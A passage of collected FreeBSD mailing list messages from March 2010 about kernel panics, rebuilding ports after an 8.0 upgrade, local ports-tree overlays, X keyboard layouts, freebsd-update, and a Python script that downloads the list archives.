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Hi,
Fot the first time in years I had a kernel panic in FreeBSD (8.0-ST).
While playing a flash movie in Firefox (3.6), everything just locked up
and only resetting helped. After the reboot it wrote a corefile in
/var/crash/ which is unfortunately too big to read by any text editor. The
trap number is 19 and the "current process" was 11.
Hope that someone has an idea what has caused this. I just can't imagine
that a flash plugin is able to crash FreeBSD.
Regards,
Marco
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hi there,
what are the steps i need to perform to get a copy of the entire mailingslist
archive of lets say freebsd-current@ in mbox format?
cheers.
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Marco Beishuizen <mbeis@xs4all.nl> wrote:
> Fot the first time in years I had a kernel panic in FreeBSD
> (8.0-ST). While playing a flash movie in Firefox (3.6),
> everything just locked up and only resetting helped. After the
> reboot it wrote a corefile in /var/crash/ which is unfortunately
> too big to read by any text editor.
Corefiles are binary, not usefully readable with anything text
oriented. See the Handbook section on Kernel Debugging for how
to get a backtrace from it.
> ...
> Hope that someone has an idea what has caused this. I just can't
> imagine that a flash plugin is able to crash FreeBSD.
One possible cause is a driver bug in some obscure corner case that
the flash player tried to use.
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* Chuck Swiger (cswiger@mac.com) wrote:
> Yes, it's not enough.
>
> When you upgrade the base OS to a new major version (ie, going from
> 7.x to 8.x), the system libraries get bumped to a new version, but any
> libraries coming from ports are still linked against the older version
> of the frameworks. If you don't touch anything, backwards
> compatibility for 7.x will continue to work fine, but as soon as you
> start installing something new or upgrade any port, you run into the
> situation where executables are linked against two different versions
> of libc.so (etc) and they break.
>
> For all practical purposes, if you upgrade to a new major version,
> then you must rebuild all installed ports.
Thank you for your suggestions.
I should mention that recently ``cdrecord'' is broken in 8.0.
It ran pretty well in 7.2.
After I updated the ports and rebuilt, it works fine.
But it takes very long time to rebuild all ports.
Main problem is KDE, big big ports.
Okay, I shall do it, when I have time.
> Things going into -CURRENT may not be "well tested", but anything
> being merged back to -STABLE ought to be. Humans make mistakes, but I
> can't recall more than two or maybe three significant issues over a
> decade tracking -STABLE, and these were fixed in a matter of hours.
> If you do care about this level of precision, you should be building
> to a test platform and then running sanity checks for whatever your
> machines do before upgrading production boxes, anyway.
>
> Beyond that, however, you ought to consider tracking the security
> branch, ie, RELENG_8_0, rather than 8-STABLE aka RELENG_8, as the
> former does include recommended changes like security bugfixes, but
> avoids merging in anything which has not been "well tested".
I understand what you said.
But I always have no time to do so.
Normally, I concentrate on my work rather than tracking new patches.
* Robert Huff (roberthuff@rcn.com) wrote:
>
> Chuck Swiger writes:
> And if you have the time and knowledge to not have to do this
> ... you're probably not involved in the discussion to begin with.
> :-)
I upgrade ALL FREQUENT used ports and ALL related libraries required by them.
Excluding GUI stuffs.
When I want to update *ALL* these kinds of things (2-3 years once),
I wget iso images, in stead of cvsup/csup.
I always do this way since 5.4 without any problems excepted ``cdrecord''
as mentioned earlier.
Thanks,
Pongthep
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In the last episode (Mar 07), Alexander Best said:
> hi there,
>
> what are the steps i need to perform to get a copy of the entire mailingslist
> archive of lets say freebsd-current@ in mbox format?
Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/ where you
can download weekly gzipped archives of all the mailing lists since their
creation.
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On Sun, 7 Mar 2010 11:30:04 +0700, Pongthep Kulkrisada <ptkrisada@gmail.com> wrote:
> But it takes very long time to rebuild all ports.
> Main problem is KDE, big big ports.
> Okay, I shall do it, when I have time.
You can consider using "pkgadd -r" to install binary packages.
Those are quite synchon with the ports tree (as they are
centrally built from the ports tree).
> I understand what you said.
> But I always have no time to do so.
> Normally, I concentrate on my work rather than tracking new patches.
What about using freebsd-update? It delivers patches in binary
form for the OS, so you don't need to make world and kernel,
and if you're following the 8.x-RELEASE-p track, you don't
have to recompile your whole software ports - as it has been
mentioned, this is only needed if you update the major version
number (e. g. 7.2 -> 8.0).
> I upgrade ALL FREQUENT used ports and ALL related libraries required by them.
Programs like portmaster can be really helpful here.
> Excluding GUI stuffs.
Oh yes, the joy if you want to have a german OpenOffice version,
where you could run "pkg_add -r de-openoffice" in the past... :-)
I know what you mean, I try to avoid compile orgies whenever
possible, at least on my home system. On servers which usually
don't have GUI stuff, but services that need updates often due
to security considerations, it's not a big deal.)
> When I want to update *ALL* these kinds of things (2-3 years once),
> I wget iso images, in stead of cvsup/csup.
The ISO images are tied to a specific OS version, and they can
be used with it without problems. You can run into trouble when
upgrading the OS, and then try to install software from a CD
that expects another OS version.
Using "pkg_add -r" offers the same comfortability as installing
software from local CD or DVD, but it's usually "up to date" and
"fits better" to the ports tree - which is useful when you
install software both from source and from binaries.
> I always do this way since 5.4 without any problems excepted ``cdrecord''
> as mentioned earlier.
Which has been explained.
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On Sat, Mar 06, 2010 at 09:25:41AM +0100, Polytropon wrote:
> On Sat, 6 Mar 2010 09:03:58 +0100, Sabine Baer <baerks@t-online.de> wrote:
> > Well, it is, indeed. Me I am very glad beeing able to do eg
> > linux-opera -display :0 http://www.youtube.com/watch?v=bhmf4l4OxNw
> > since I live in a Windows free zone at home.
>
> Well, there's always "youtube-dl -a" for that. Just for YT
> I don't need "Flash". The "need", to illustrate that, is
> often nothing more than a useless barrier built by people
> who don't seem to know better.
OK, I really didn't know youtube_dl (and clive someone mentioned in
the thread). So, thanks a lot. I youtube-dl-ed my puff pastry examle.
It took me 5 minutes and 11.69M space on diks but then I was able to
look at it using mplayer. Fine. Same with clive. Fine too.
[...]
> If a "web designer" abuses (!) "Flash" to raise a barrier,
> to make content unavailable, then I am surely not his target
> audience. That's his decision, and I accept it. (By the way,
> "barrier-free web" and thinking about how disabled people
> can participate on informations is something that needs
> an educated point of view and some intelligence to consider
> it. Still, there are "web developers" who can't provide
> this, and so can't their work.)
Yes, that's all very true.
I remember, when I had linux-fc4 installed and flashplugin7, I tried
to look at a video on the site http://www.hr-online.de. The only
result was "you haven't the latest version of Adobe's Flash Player".
I wrote an email to them and got an answer (that's remarkable, not
'normal', I wrote 2 complaints about accessibility to given contact
addresses at European community sites and didn't get any answer) but
it wasn't helpful.
Well, this site and http://news.bbc.co.uk as well are "barrier-free"
so I can use them with lynx only and the videos are a surplus.
But I am in the "target audience" of www.hr-online.de at least.
BTW, neither clive nor youtube-dl (sic!) can download a video from
those sites.
Of course, it is the fault of the 'web designers' ignoring those who
deny using 'quasi standard OS' and 'quasi standard applications'.
But I'm tired of sitting in front of my monitor and thinking 'if they
don't want me to look at their content, it's their misfortune'.
Sabine
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On Sun, 7 Mar 2010 07:29:48 +0100, Sabine Baer <baerks@t-online.de> wrote:
> OK, I really didn't know youtube_dl (and clive someone mentioned in
> the thread). So, thanks a lot. I youtube-dl-ed my puff pastry examle.
> It took me 5 minutes and 11.69M space on diks but then I was able to
> look at it using mplayer. Fine. Same with clive. Fine too.
The option "youtube-dl -a" is fine, too, because it creates
an AVI file on the fly, so you can even share downloaded
videos with persons who don't have the luck of being able
to use mplayer (with its ability to play every format).
It's even possible to combine youtube-dl and mplayer in
a way that playing the video starts along with the download,
and because the download is linear (to the video itself),
you can watch while downloading (thanks to mplayer being
able to play incomplete video files), even fullscreen
is possible.
> I remember, when I had linux-fc4 installed and flashplugin7, I tried
> to look at a video on the site http://www.hr-online.de. The only
> result was "you haven't the latest version of Adobe's Flash Player".
> I wrote an email to them and got an answer (that's remarkable, not
> 'normal', I wrote 2 complaints about accessibility to given contact
> addresses at European community sites and didn't get any answer) but
> it wasn't helpful.
Yes, "the latest version", a common problem. What a luck
that things like HTML are standard; just imagine a message
like "This page is optimized for HTML 8. You currently
have HTML 7 installed. The page cannot be displayed at
all." :-)
That's the difference between standards and what you
called "quasi standards" (which are no standards at all,
in my opinion).
> Well, this site and http://news.bbc.co.uk as well are "barrier-free"
> so I can use them with lynx only and the videos are a surplus.
Personally, I don't have much fun viewing pages in lynx,
but it is an excellent validator to find out how, for
example, blind persons see (in the meaning of "content
reception", of course) web pages. On very "modern" and
"optimized" web pages, they don't see anything.
> But I am in the "target audience" of www.hr-online.de at least.
> [...]
> But I'm tired of sitting in front of my monitor and thinking 'if they
> don't want me to look at their content, it's their misfortune'.
The keyword here is "target audience". If you consider
yourself to be in the target audience of a certain service,
you need to fulfill requirements to participate on this
service, e. g. having a driving license in order to be
part of the motorized traffic. And if HR-online requires
you to run "the right" OS and "the right" programs, then
you don't have much choice. So if the usage of a certain
family of formats intendedly excludes users of many
operating systems...
Furtunately, "Flash" is quite usable on FreeBSD, allthough
there are more than one form to run it (linux binary,
OpenSolaris in a VM, "Windows" version in wine). So
there usually are ways to see the content that is not
intended for us. :-)
And I may add that I am thankful to the developers who
invest their time in order to provide an ongoing support
for "Flash". So maybe it always lasts some time until a
FreeBSD based system is able to run the lastest "Flash"
stuff, but finally it's possible.
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Hi Polytropon,
Firstly, thanks for your suggestion.
* Polytropon (freebsd@edvax.de) wrote:
> You can consider using "pkgadd -r" to install binary packages.
> Those are quite synchon with the ports tree (as they are
> centrally built from the ports tree).
I checked /var/db/pkg; I have 464 ports installed on my system (including X).
I would probably not do so.
> What about using freebsd-update? It delivers patches in binary
> form for the OS, so you don't need to make world and kernel,
> and if you're following the 8.x-RELEASE-p track, you don't
> have to recompile your whole software ports - as it has been
> mentioned, this is only needed if you update the major version
> number (e. g. 7.2 -> 8.0).
Once I used binary upgrade from 6.2 -> 6.3.
The source tree was still 6.2 while the system was 6.3.
I know there are no problems with the system.
But it is *untidy*, I don't want to.
> > I upgrade ALL FREQUENT used ports and ALL related libraries required by them.
>
> Programs like portmaster can be really helpful here.
Yes, it is what I am expecting. Thank you.
I read the handbook. There are 2 choices i.e. portmanager and portmaster.
I am now thinking which one is better.
I must also check time and disk space required to build all these ports.
> Oh yes, the joy if you want to have a german OpenOffice version,
> where you could run "pkg_add -r de-openoffice" in the past... :-)
> I know what you mean, I try to avoid compile orgies whenever
> possible, at least on my home system. On servers which usually
> don't have GUI stuff, but services that need updates often due
> to security considerations, it's not a big deal.)
I have nothing to do with Office suite.
I might probably not do so, thanks.
> The ISO images are tied to a specific OS version, and they can
> be used with it without problems. You can run into trouble when
> upgrading the OS, and then try to install software from a CD
> that expects another OS version.
I have never installed any softwares from CD/DVD.
I install from CD only when I want to wipe out everything.
And install a new fresh system.
> Using "pkg_add -r" offers the same comfortability as installing
> software from local CD or DVD, but it's usually "up to date" and
> "fits better" to the ports tree - which is useful when you
> install software both from source and from binaries.
If I choose between packages and ports, I opt ports.
As previously mentioned ``portmaster'' or ``portmanager'' should be helpful.
Please give some comments, which one is better.
I read from handbook; but I have never used it.
I don't know so much in this area.
It is system specific and not part of the standard (POSIX or SUS).
Note: I'm just a hobbyist not pro. :-)
Thanks,
Pongthep
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On Sun, 7 Mar 2010 14:29:57 +0700, Pongthep Kulkrisada <ptkrisada@gmail.com> wrote:
> I checked /var/db/pkg; I have 464 ports installed on my system (including X).
> I would probably not do so.
The pkg_add utility is especially useful when building a new
installation from scratch, because it additionally automatically
installs dependencies. For example, "pkg_add -r xmms" would
finally even install X from precompiled binaries, which is
much faster than compiling everything by hand (or even by
using portmaster). But for some things, there aren't
packages available, and if you need to compile something,
trouble may start.
> Once I used binary upgrade from 6.2 -> 6.3.
> The source tree was still 6.2 while the system was 6.3.
> I know there are no problems with the system.
> But it is *untidy*, I don't want to.
In such a case, you have to use freebsd-update for the system
AND c(v)sup for the sources, to keep them in sync. Some programs
that you can compile from ports do rely on system sources.
> Yes, it is what I am expecting. Thank you.
> I read the handbook. There are 2 choices i.e. portmanager and portmaster.
There are even more, but those two seem to be the most popular
ones.
> I am now thinking which one is better.
I have used portupgrade / portinstall in the past, but
I think portmaster really is the way to go, at least for me,
and for now. In /usr/ports/UPDATING, instructions on how to
solve certain problems are given for portupgrade, too. It can
furthermore handle creating bianry packages (-p), if you want
to transfer something you've built from one system to another,
as well as an option to NOT compile, but use binary packages
(as pkg_add -r) instead (-P and -PP). There are other options
that are powerful when processing "all installed ports" in
an automated manner.
> I must also check time and disk space required to build all these ports.
Those are valid considerations. Time is the less important,
let the update run while you sleep, the computer won't notice
that you're not infront of it. :-)
> I have never installed any softwares from CD/DVD.
> I install from CD only when I want to wipe out everything.
> And install a new fresh system.
Okay, I misunderstood. By the way, that's my common way of
doing a fresh install, too: Boot from CD, install base system,
configure basic things, update sources and ports, and regarding
on the usage, use freebsd-update + pkg_add or make for system
and ports.
> If I choose between packages and ports, I opt ports.
If your system is not older than a few years, I would say
the same. For older systems where you just can't afford
compiling everything (e. g. 24h for just kernel + world),
then using precompiled binaries is much more comfortable.
> As previously mentioned ``portmaster'' or ``portmanager'' should be helpful.
> Please give some comments, which one is better.
Well... portupgrade isn't bad, but I think portmaster is
better, especially because it doesn't involve a "huge"
scripting language as a dependency. And as far as I've
experienced, it can do everything needed.
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Hi!
By necessity and convenience, I have developed a series of additions and
changes to the ports tree. These changes are probably not worthy of
inclusion into the official tree, so I'm looking to maintain an overlay,
of sorts, in the spirit of Gentoo's overlay capability.
Is there an official method of hooking changes into a ports tree, while
maintaining the ability to csup or portsnap the unmodified version? How
do others tackle this particular problem?
Thanks!
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On Sun, Mar 07, 2010 at 02:45:41AM -0600, CyberLeo Kitsana wrote:
> Hi!
>
> By necessity and convenience, I have developed a series of additions and
> changes to the ports tree. These changes are probably not worthy of
> inclusion into the official tree, so I'm looking to maintain an overlay,
> of sorts, in the spirit of Gentoo's overlay capability.
>
> Is there an official method of hooking changes into a ports tree, while
> maintaining the ability to csup or portsnap the unmodified version? How
> do others tackle this particular problem?
I don't know if there is any "official" method, but the method I use to
keep local changes in the ports tree is as follows:
I use cvsup to maintain a local copy of the whole repository, and then
use cvs to checkout/update the ports tree from that copy of the
repository. cvs knows how to detect and keep local changes.
The disadvantage of this method is that updating the ports tree will be
slower. The advantage is much increased flexibility in maintaining
local changes or checking the history of any file.
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On 07/03/2010 08:45:41, CyberLeo Kitsana wrote:
> By necessity and convenience, I have developed a series of additions and
> changes to the ports tree. These changes are probably not worthy of
> inclusion into the official tree, so I'm looking to maintain an overlay,
> of sorts, in the spirit of Gentoo's overlay capability.
>
> Is there an official method of hooking changes into a ports tree, while
> maintaining the ability to csup or portsnap the unmodified version? How
> do others tackle this particular problem?
Yes, you can add your own local ports or even whole categories of local
ports without too much difficulty. You can even add some tweaks to an
existing port -- you don't have complete freedom to do anything there,
but you can do quite a lot.
If you create a Makefile.local at any level in the ports tree it will be
included alongside the usual Makefile. This means you can override a
lot of the available settings at will.
So, if you create /usr/ports/Makefile.local
with the contents:
SUBDIR+=myports
then you can create a directory /usr/ports/myports and put your own
ports inside it -- you'll need a /usr/ports/myports/Makefile just like
the other category directories.
Similarly, if you prefer to mix your own stuff more intimately with the
rest of the ports tree, you could create /usr/ports/devel/Makefile.local
with the contents:
SUBDIR+=myfunkyport
SUBDIR+=myotherport
and then create /usr/ports/devel/{myfunkyport,myotherport}
Finally, you can put a Makefile.local into a port directory, and use it
to override settings specific to that port. This is probably not very
useful except in limited circumstances. Another handy thing to do is
create eg. file/patch-foo to contain local patches against the upstream
sources.
Makefile.local is intended for local customizations like this, but there
are also Makefile.inc and Makefile.${ARCH}, Makefile.${OPSYS},
Makefile.${OPSYS}-${ARCH} which will similarly be automatically included
if present (and if the ARCH and OPSYS settings match.)
Now, all of this is at risk of clashing with future updates to the ports
tree -- you're going to have to maintain it yourself, and cope with
ports being deleted or moved around. Creating your own separate
category as shown first will give you the best separation and probably
the least maintenance hassles.
If you want to modify an existing port, probably the best approach is to
create your own slave port -- see the docco on MASTERDIR in the Porter's
Handbook and look at eg. games/freeciv-nox11 for about the simplest
possible example. It's not fool proof -- some modifications will always
need support in the master port's Makefile, but there's a lot you can do
without that.
Because this entails inserting files into the ports tree, you need to
take some thought as to how to avoid wiping out your changes when
updating the ports tree. Extra files are generally ignored by csup(1),
but portsnap(1) will blow them away. You could get creative using
unionfs (see mount_unionfs(8)) or you could go for the option of
maintaining a local CVS repository with your mods on a separate branch.
Cheers,
Matthew
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Hi,
I'm an Austrian sysadmin living in Montpezat (South France). I'm 100%
GNU/Linux since 2001, I started out with Slackware 7.1, then after a few
years of using Slackware and Debian, I moved to CentOS in 2006, a clone
of Red Hat Enterprise Linux. I'm running a one-man computer company
(Microlinux: http://www.microlinux.fr) spezialized in computer solutions
based on GNU/Linux and FOSS.
Up until now, I never gave FreeBSD a try, but sometimes I used to
stumble over the documentation, and I always thought: heck, this is how
an operating system should be documented. I even went so far as to be
almost jealous of the handbook, and wishing there was something similar
for Linux (so I went and even wrote one: http://tinyurl.com/no254g)
But a few days ago I decided to take the plunge. No, not migrate all my
machines to FreeBSD. But I have two old NEC PowerMates in my office, for
teaching and testing purposes, and I decided to download FreeBSD 8.0, do
a lot of RTFM and just play with it and see if I can make it do all the
things I'm doing with Linux (and maybe more). More recently, I've been
attracted by the more centralized (and way less chaotic) development
model of FreeBSD.
So far, after reading chapters 1 to 5 from the fine Handbook, I managed
to install FreeBSD, configure X11 and install XFCE. This all raised a
few questions, so I thought my next move would be to say hello in this
list and ask my questions here, very soon.
Cheers from the freezing South of France,
Niki Kovacs
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Subject: Configure X: multiple keyboard layouts ?
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Hi,
I'd like to configure X for multiple keyboard layouts, e. g.:
- french
- swiss french
- german
On my Linux box (running CentOS 5.4 and a dated version of X.org), the
configuration for this looks like this :
Section "InputDevice"
Identifier "Keyboard0"
Driver "kbd"
Option "XkbModel" "pc105"
Option "XkbLayout" "fr,ch,de"
Option "XkbVariant" ",fr,"
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection
This stanza enables me to toggle between different keyboard layouts,
using the [Alt]+[RightShift] key combination. You might wonder about the
XkbVariant option: the swiss keyboard layout has two variants: fr and
de. This is to indicate the swiss roman layout.
Now is there any way I could achieve a similar thing with the more
recent X.org shipping with FreeBSD 8.0 ?
Any suggestions ?
Niki Kovacs
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On Sat, Mar 6, 2010 at 1:07 PM, C. P. Ghost <cpghost@cordula.ws> wrote:
> On Sat, Mar 6, 2010 at 9:25 AM, Polytropon <freebsd@edvax.de> wrote:
>> On Sat, 6 Mar 2010 09:03:58 +0100, Sabine Baer <baerks@t-online.de> wrote:
>>> Well, it is, indeed. Me I am very glad beeing able to do eg
>>> linux-opera -display :0 http://www.youtube.com/watch?v=bhmf4l4OxNw
>>> since I live in a Windows free zone at home.
>>
>> Well, there's always "youtube-dl -a" for that. Just for YT
>> I don't need "Flash".
>
> That's true. I love youtube-dl too, as it helps me keep a local
> .flv copy, even for videos that have been removed for one reason
> or another.
>
> However, there are other video sites like dailymotion. What
> downloader do you use for these?
>
> And remember, youtube-dl is a hack. It can break anytime
> YT changes its embedding. I wished YouTube would switch
> to HTML5, or at least added this as an option.
>
They do
http://www.youtube.com/html5
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Dan Nelson schrieb am 2010-03-07:
> In the last episode (Mar 07), Alexander Best said:
> > hi there,
> > what are the steps i need to perform to get a copy of the entire
> > mailingslist
> > archive of lets say freebsd-current@ in mbox format?
> Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/
> where you
> can download weekly gzipped archives of all the mailing lists since
> their
> creation.
thanks for the hint, but it would take hours to download all those gzipped
files, extract them and merge them.
i really need ALL the messages of a mailinglist. of course i could use the
gzipped files you mentioned if i had some script for downloading extracting
and merging all those files for me.
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Pongthep Kulkrisada <ptkrisada@gmail.com> articulated:
> > Programs like portmaster can be really helpful here.
> Yes, it is what I am expecting. Thank you.
> I read the handbook. There are 2 choices i.e. portmanager and
> portmaster. I am now thinking which one is better.
> I must also check time and disk space required to build all these
> ports.
Personally, I prefer portmanager. I would suggest that you empty your
"/usr/ports/distfiles" directory entirely. If you have java installed,
download the source files needed to build it and place them in the that
directory. Update your entire ports tree and then run:
portmanager -u -l -y -f
That will rebuild your entire ports system in the correct order.
Depending on the speed of your system and number of ports installed,
that might take a day, give or take a few hours. I would shutdown 'X'
prior to doing the update also. When done, reboot and all should be
well. I have done it before with great success.
BTW, you might also want to set: "BATCH=yes" sans quotation marks in
your "/etc/make.conf" file. It will eliminate those pesky pop-up
messages concerning configuring the port(s).
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Hello folks
I have a 8.0 system that uses zfsroot and gptzfsboot. It uses the
GENERIC kernel and the only thing that had to be manually recompiled
is obviously the bootloader, to enable zfs boot support, other then
that, the system is using stock 8.0 binaries. Since fully rebuilding
world and kernel on this system is a 5 hour process, I would very much
like to use freebsd-update and I wanted someone to clarify the
utility's behaviour. If I run freebsd-update on this system, what will
it do when it detects that the bootloader binaries do not match those
of stock 8.0-RELEASE? Will it:
1) Ignore the changed/recompiled bootloader files completely, only
updating the binaries whose checksums it can recognize. This behaviour
is alright for updating within 8.0, updating for release errata, but
would cause some problems updating to 8.1 and further, since 8.1 will
have zfs capable bootloader by default and having freebsd-update
always completely ignore a system component that has once been
recompiled sounds a bit silly.
2) Happily update the system, overwrite my custom compiled bootloader,
forcing me to manually rebuild the bootloader again before I reboot
the system. This I guess would actually be the desired behaviour.
- Sincerely,
Dan Naumov
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On 7 March 2010 11:57, Dan Naumov <dan.naumov@gmail.com> wrote:
> Hello folks
>
> I have a 8.0 system that uses zfsroot and gptzfsboot. It uses the
> GENERIC kernel and the only thing that had to be manually recompiled
> is obviously the bootloader, to enable zfs boot support, other then
> that, the system is using stock 8.0 binaries. Since fully rebuilding
> world and kernel on this system is a 5 hour process, I would very much
> like to use freebsd-update and I wanted someone to clarify the
> utility's behaviour. If I run freebsd-update on this system, what will
> it do when it detects that the bootloader binaries do not match those
> of stock 8.0-RELEASE? Will it:
>
> 1) Ignore the changed/recompiled bootloader files completely, only
> updating the binaries whose checksums it can recognize. This behaviour
> is alright for updating within 8.0, updating for release errata, but
> would cause some problems updating to 8.1 and further, since 8.1 will
> have zfs capable bootloader by default and having freebsd-update
> always completely ignore a system component that has once been
> recompiled sounds a bit silly.
>
> 2) Happily update the system, overwrite my custom compiled bootloader,
> forcing me to manually rebuild the bootloader again before I reboot
> the system. This I guess would actually be the desired behaviour.
>
>
> - Sincerely,
> Dan Naumov
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why dont you just cron a make update, buildworld, and build kernel, every
night, or week? You always have a system ready for installation whenever you
want it, irrelevant how long it takes to build.
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On Sun, 07 Mar 2010 12:08:32 +0100 (CET), Alexander Best <alexbestms@wwu.de> wrote:
> Dan Nelson schrieb am 2010-03-07:
>> In the last episode (Mar 07), Alexander Best said:
>> > hi there,
>
>> > what are the steps i need to perform to get a copy of the entire
>> > mailingslist
>> > archive of lets say freebsd-current@ in mbox format?
>
>> Go to ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/
>> where you
>> can download weekly gzipped archives of all the mailing lists since
>> their
>> creation.
>
> thanks for the hint, but it would take hours to download all those gzipped
> files, extract them and merge them.
>
> i really need ALL the messages of a mailinglist. of course i could use the
> gzipped files you mentioned if i had some script for downloading extracting
> and merging all those files for me.
It's relatively easy to hack one.
You can get a list of year names from the /archive/ directory itself
with curl(1) and a small amount of Python plumbing around curl:
>>> from subprocess import Popen as popen, PIPE
>>> import re
>>> yre = re.compile('^d.*\s(\d+)$')
>>> devnull = file("/dev/null")
>>> def years():
... curl = "curl -o /dev/stdout ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/"
... ylist = []
... for line in popen(curl, shell=True, stdout=PIPE, stderr=devnull).stdout.readlines():
... m = yre.match(line)
... if m:
... ylist.append(int(m.group(1)))
... return ylist
...
>>> years()
[1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005,
2006, 2007, 2008, 2009, 2010]
Then you can grab a list of the freebsd-current archives by looping
through the list of years and looking for the list of files that match
the pattern:
ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/{year}/freebsd-current/(\d+.freebsd-current.gz)
Using a pipe to parse the output of curl you can collect a list of all
the files that match this pattern, e.g.:
>>> def yearfiles(year):
... base = "ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current" % year
... curl = "curl -o /dev/stdout %s/" % base
... flist = []
... fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$')
... for line in popen(curl, shell=True, stdout=PIPE, stderr=devnull).stdout.readlines():
... m = fre.match(line)
... if m:
... flist.append("%s/%s" % (base, m.group(1)))
... return flist
...
>>> yearfiles(1994)
[]
>>> yearfiles(1995)
['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/1.freebsd-current.gz',
...]
Concatenating the file lists of all years and fetching each one of them
with curl is then trivial:
>>> ylist = years()
>>> ylist
[1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010]
>>> flist = []
>>> for y in ylist:
... f = yearfiles(y)
... flist = flist + f
...
>>> len(flist)
785
Once you have the list of all the remote gzipped files, you can loop
through the list of files once more and fetch them locally. I'm only
going to fetch the first two files here, but feel free to fetch all of
them in your version of the script:
>>> flist = flist[:2]
>>> flist
['ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz',
'ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz']
>>>
>>> from subprocess import call
>>> def getfile(url):
... out = os.path.basename(url)
... retcode = call(["curl", "-o", out, url], stderr=devnull)
... if retcode == 0:
... print "fetched %s" % url
... return tuple([url, out, retcode])
...
>>> map(getfile, flist)
fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz
fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz
...
[('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz', '19950101.freebsd-current.gz', 0),
('ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz', '19950226.freebsd-current.gz', 0)]
>>>
A slightly hackish script that collects all this to a more usable whole
but lacks LOTS of error checking is the following:
#!/usr/bin/env python
from subprocess import call, Popen as popen, PIPE
import os
import re
import sys
devnull = file("/dev/null")
yre = re.compile('^d.*\s(\d+)$')
fre = re.compile(r'^.*\D(\d+.freebsd-current.gz).*$')
def years():
curl = "curl -o /dev/stdout ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/"
ylist = []
for line in popen(curl, shell=True, stdout=PIPE, stderr=devnull).stdout.readlines():
m = yre.match(line)
if m:
ylist.append(int(m.group(1)))
return ylist
def yearfiles(year):
base = "ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/%4d/freebsd-current" % year
curl = "curl -o /dev/stdout %s/" % base
flist = []
for line in popen(curl, shell=True, stdout=PIPE, stderr=devnull).stdout.readlines():
m = fre.match(line)
if m:
flist.append("%s/%s" % (base, m.group(1)))
return flist
def getfile(url):
out = os.path.basename(url)
retcode = call(["curl", "-o", out, url], stderr=devnull)
if retcode == 0:
print "fetched %s" % url
return tuple([url, out, retcode])
if __name__ == "__main__":
print "Fetching year list."
ylist = years()
if len(ylist) == 0:
print "No yearly archives found."
sys.exit(1)
print "Fetching file lists for %d years." % len(ylist)
flist = []
for y in ylist:
f = yearfiles(y)
flist = flist + f
if len(flist) == 0:
print "No archives found."
sys.exit(1)
print "Fetching %d archives." % len(flist)
fresult = map(getfile, flist)
fok = [fentry[1] for fentry in fresult if fentry[2] == 0]
ferr = [fentry[1] for fentry in fresult if fentry[2] != 0]
if len(fok) > 0:
print ""
print "Successfully downloaded %d archives" % len(fok)
for f in fok:
print " %s" % f
if len(ferr) > 0:
print ""
print "Failed to download %d archives" % len(ferr)
for f in ferr:
print " %s" % f
Running this with a couple of lines to limit the FTP connections a bit
and fetch only parts of the freebsd-current mail archives produces the
following output on my laptop:
keramida@kobe:/tmp$ python foo.py
Fetching year list.
Fetching file lists for 3 years.
Fetching 5 archives.
fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950101.freebsd-current.gz
fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950226.freebsd-current.gz
fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950305.freebsd-current.gz
fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950312.freebsd-current.gz
fetched ftp://ftp.freebsd.org/pub/FreeBSD/doc/mailing-lists/archive/1995/freebsd-current/19950319.freebsd-current.gz
Successfully downloaded 5 archives
19950101.freebsd-current.gz
19950226.freebsd-current.gz
19950305.freebsd-current.gz
19950312.freebsd-current.gz
19950319.freebsd-current.gz
Without the limiting code that I removed from the example, it will try
to fetch all the archive files for all 17 years.
Then you can simply type:
gzip -cd *.freebsd-current.gz > freebsd-current.mbox
to produce a single UNIX mbox file with all the messages.
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Is it possible? I really want to see YouTube Video in FreeBSD
Desktop. So HTML5 support of YouTube [1] is good news to me.=20
Currently i'm on FreeBSD 8.0-RELEASE ;;
Sincerely,
[1] http://www.youtube.com/html5/
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On Sun, Mar 7, 2010 at 1:57 PM, Dan Naumov <dan.naumov@gmail.com> wrote:
> Hello folks
>
> I have a 8.0 system that uses zfsroot and gptzfsboot. It uses the
> GENERIC kernel and the only thing that had to be manually recompiled
> is obviously the bootloader, to enable zfs boot support, other then
> that, the system is using stock 8.0 binaries. Since fully rebuilding
> world and kernel on this system is a 5 hour process, I would very much
> like to use freebsd-update and I wanted someone to clarify the
> utility's behaviour. If I run freebsd-update on this system, what will
> it do when it detects that the bootloader binaries do not match those
> of stock 8.0-RELEASE? Will it:
>
> 1) Ignore the changed/recompiled bootloader files completely, only
> updating the binaries whose checksums it can recognize. This behaviour
> is alright for updating within 8.0, updating for release errata, but
> would cause some problems updating to 8.1 and further, since 8.1 will
> have zfs capable bootloader by default and having freebsd-update
